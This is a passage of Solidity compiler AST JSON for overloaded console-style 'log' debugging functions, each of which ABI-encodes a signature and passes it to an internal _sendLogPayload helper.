onDefinition","src":"58735:192:14","nodes":[],"body":{"id":22792,"nodeType":"Block","src":"58819:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c737472696e672c626f6f6c29","id":22784,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"58869:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_35a5071fa9f4610e50772083182f21e949e7a02301a3936e315dd1c4fc39a9ed","typeString":"literal_string \"log(address,string,string,bool)\""},"value":"log(address,string,string,bool)"},{"id":22785,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22772,"src":"58904:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22786,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22774,"src":"58908:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22787,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22776,"src":"58912:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22788,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22778,"src":"58916:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_35a5071fa9f4610e50772083182f21e949e7a02301a3936e315dd1c4fc39a9ed","typeString":"literal_string \"log(address,string,string,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":22782,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"58845:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22783,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"58849:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"58845:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22789,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58845:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22781,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"58829:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22790,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58829:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22791,"nodeType":"ExpressionStatement","src":"58829:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"58744:3:14","parameters":{"id":22779,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22772,"mutability":"mutable","name":"p0","nameLocation":"58756:2:14","nodeType":"VariableDeclaration","scope":22793,"src":"58748:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22771,"name":"address","nodeType":"ElementaryTypeName","src":"58748:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22774,"mutability":"mutable","name":"p1","nameLocation":"58774:2:14","nodeType":"VariableDeclaration","scope":22793,"src":"58760:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22773,"name":"string","nodeType":"ElementaryTypeName","src":"58760:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22776,"mutability":"mutable","name":"p2","nameLocation":"58792:2:14","nodeType":"VariableDeclaration","scope":22793,"src":"58778:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22775,"name":"string","nodeType":"ElementaryTypeName","src":"58778:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22778,"mutability":"mutable","name":"p3","nameLocation":"58801:2:14","nodeType":"VariableDeclaration","scope":22793,"src":"58796:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22777,"name":"bool","nodeType":"ElementaryTypeName","src":"58796:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"58747:57:14"},"returnParameters":{"id":22780,"nodeType":"ParameterList","parameters":[],"src":"58819:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22816,"nodeType":"FunctionDefinition","src":"58933:198:14","nodes":[],"body":{"id":22815,"nodeType":"Block","src":"59020:111:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c737472696e672c6164647265737329","id":22807,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"59070:36:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a04e2f87a739673cc9223810c24b00b35c6b2c9f3ef123cc82866752e1fa816f","typeString":"literal_string \"log(address,string,string,address)\""},"value":"log(address,string,string,address)"},{"id":22808,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22795,"src":"59108:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22809,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22797,"src":"59112:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22810,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22799,"src":"59116:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22811,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22801,"src":"59120:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a04e2f87a739673cc9223810c24b00b35c6b2c9f3ef123cc82866752e1fa816f","typeString":"literal_string \"log(address,string,string,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":22805,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"59046:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22806,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"59050:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"59046:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22812,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59046:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22804,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"59030:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22813,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59030:94:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22814,"nodeType":"ExpressionStatement","src":"59030:94:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"58942:3:14","parameters":{"id":22802,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22795,"mutability":"mutable","name":"p0","nameLocation":"58954:2:14","nodeType":"VariableDeclaration","scope":22816,"src":"58946:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22794,"name":"address","nodeType":"ElementaryTypeName","src":"58946:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22797,"mutability":"mutable","name":"p1","nameLocation":"58972:2:14","nodeType":"VariableDeclaration","scope":22816,"src":"58958:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22796,"name":"string","nodeType":"ElementaryTypeName","src":"58958:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22799,"mutability":"mutable","name":"p2","nameLocation":"58990:2:14","nodeType":"VariableDeclaration","scope":22816,"src":"58976:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22798,"name":"string","nodeType":"ElementaryTypeName","src":"58976:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22801,"mutability":"mutable","name":"p3","nameLocation":"59002:2:14","nodeType":"VariableDeclaration","scope":22816,"src":"58994:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22800,"name":"address","nodeType":"ElementaryTypeName","src":"58994:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"58945:60:14"},"returnParameters":{"id":22803,"nodeType":"ParameterList","parameters":[],"src":"59020:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22839,"nodeType":"FunctionDefinition","src":"59137:181:14","nodes":[],"body":{"id":22838,"nodeType":"Block","src":"59212:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c626f6f6c2c75696e7429","id":22830,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"59262:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e720521cc58e36659b0c45689a38054bd7300ff30d5ec0cfec7bae3dc2e9689a","typeString":"literal_string \"log(address,string,bool,uint)\""},"value":"log(address,string,bool,uint)"},{"id":22831,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22818,"src":"59295:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22832,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22820,"src":"59299:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22833,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22822,"src":"59303:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22834,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22824,"src":"59307:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e720521cc58e36659b0c45689a38054bd7300ff30d5ec0cfec7bae3dc2e9689a","typeString":"literal_string \"log(address,string,bool,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":22828,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"59238:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22829,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"59242:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"59238:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22835,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59238:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22827,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"59222:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22836,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59222:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22837,"nodeType":"ExpressionStatement","src":"59222:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"59146:3:14","parameters":{"id":22825,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22818,"mutability":"mutable","name":"p0","nameLocation":"59158:2:14","nodeType":"VariableDeclaration","scope":22839,"src":"59150:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22817,"name":"address","nodeType":"ElementaryTypeName","src":"59150:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22820,"mutability":"mutable","name":"p1","nameLocation":"59176:2:14","nodeType":"VariableDeclaration","scope":22839,"src":"59162:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22819,"name":"string","nodeType":"ElementaryTypeName","src":"59162:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22822,"mutability":"mutable","name":"p2","nameLocation":"59185:2:14","nodeType":"VariableDeclaration","scope":22839,"src":"59180:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22821,"name":"bool","nodeType":"ElementaryTypeName","src":"59180:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22824,"mutability":"mutable","name":"p3","nameLocation":"59194:2:14","nodeType":"VariableDeclaration","scope":22839,"src":"59189:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22823,"name":"uint","nodeType":"ElementaryTypeName","src":"59189:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"59149:48:14"},"returnParameters":{"id":22826,"nodeType":"ParameterList","parameters":[],"src":"59212:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22862,"nodeType":"FunctionDefinition","src":"59324:192:14","nodes":[],"body":{"id":22861,"nodeType":"Block","src":"59408:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c626f6f6c2c737472696e6729","id":22853,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"59458:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_bc0b61fe9497b47eb6a51a5a6a4bf26b32ddcbc9407ccae8cc7de64b3e3d84cc","typeString":"literal_string \"log(address,string,bool,string)\""},"value":"log(address,string,bool,string)"},{"id":22854,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22841,"src":"59493:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22855,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22843,"src":"59497:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22856,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22845,"src":"59501:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22857,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22847,"src":"59505:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_bc0b61fe9497b47eb6a51a5a6a4bf26b32ddcbc9407ccae8cc7de64b3e3d84cc","typeString":"literal_string \"log(address,string,bool,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":22851,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"59434:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22852,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"59438:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"59434:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22858,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59434:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22850,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"59418:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22859,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59418:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22860,"nodeType":"ExpressionStatement","src":"59418:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"59333:3:14","parameters":{"id":22848,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22841,"mutability":"mutable","name":"p0","nameLocation":"59345:2:14","nodeType":"VariableDeclaration","scope":22862,"src":"59337:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22840,"name":"address","nodeType":"ElementaryTypeName","src":"59337:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22843,"mutability":"mutable","name":"p1","nameLocation":"59363:2:14","nodeType":"VariableDeclaration","scope":22862,"src":"59349:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22842,"name":"string","nodeType":"ElementaryTypeName","src":"59349:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22845,"mutability":"mutable","name":"p2","nameLocation":"59372:2:14","nodeType":"VariableDeclaration","scope":22862,"src":"59367:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22844,"name":"bool","nodeType":"ElementaryTypeName","src":"59367:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22847,"mutability":"mutable","name":"p3","nameLocation":"59390:2:14","nodeType":"VariableDeclaration","scope":22862,"src":"59376:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22846,"name":"string","nodeType":"ElementaryTypeName","src":"59376:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"59336:57:14"},"returnParameters":{"id":22849,"nodeType":"ParameterList","parameters":[],"src":"59408:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22885,"nodeType":"FunctionDefinition","src":"59522:181:14","nodes":[],"body":{"id":22884,"nodeType":"Block","src":"59597:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c626f6f6c2c626f6f6c29","id":22876,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"59647:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5f1d5c9f0de8c048364058d1d6842804ada33dbc34bf9eaff8f2be978f384e08","typeString":"literal_string \"log(address,string,bool,bool)\""},"value":"log(address,string,bool,bool)"},{"id":22877,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22864,"src":"59680:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22878,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22866,"src":"59684:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22879,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22868,"src":"59688:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22880,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22870,"src":"59692:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5f1d5c9f0de8c048364058d1d6842804ada33dbc34bf9eaff8f2be978f384e08","typeString":"literal_string \"log(address,string,bool,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":22874,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"59623:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22875,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"59627:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"59623:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22881,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59623:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22873,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"59607:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22882,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59607:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22883,"nodeType":"ExpressionStatement","src":"59607:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"59531:3:14","parameters":{"id":22871,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22864,"mutability":"mutable","name":"p0","nameLocation":"59543:2:14","nodeType":"VariableDeclaration","scope":22885,"src":"59535:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22863,"name":"address","nodeType":"ElementaryTypeName","src":"59535:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22866,"mutability":"mutable","name":"p1","nameLocation":"59561:2:14","nodeType":"VariableDeclaration","scope":22885,"src":"59547:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22865,"name":"string","nodeType":"ElementaryTypeName","src":"59547:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22868,"mutability":"mutable","name":"p2","nameLocation":"59570:2:14","nodeType":"VariableDeclaration","scope":22885,"src":"59565:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22867,"name":"bool","nodeType":"ElementaryTypeName","src":"59565:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22870,"mutability":"mutable","name":"p3","nameLocation":"59579:2:14","nodeType":"VariableDeclaration","scope":22885,"src":"59574:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22869,"name":"bool","nodeType":"ElementaryTypeName","src":"59574:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"59534:48:14"},"returnParameters":{"id":22872,"nodeType":"ParameterList","parameters":[],"src":"59597:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22908,"nodeType":"FunctionDefinition","src":"59709:187:14","nodes":[],"body":{"id":22907,"nodeType":"Block","src":"59787:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c626f6f6c2c6164647265737329","id":22899,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"59837:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_205871c2f2d320acdd350939b5fc035cc20b1a9cc058fb26f1c9fb3d2ba59970","typeString":"literal_string \"log(address,string,bool,address)\""},"value":"log(address,string,bool,address)"},{"id":22900,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22887,"src":"59873:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22901,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22889,"src":"59877:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22902,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22891,"src":"59881:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22903,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22893,"src":"59885:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_205871c2f2d320acdd350939b5fc035cc20b1a9cc058fb26f1c9fb3d2ba59970","typeString":"literal_string \"log(address,string,bool,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":22897,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"59813:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22898,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"59817:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"59813:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes 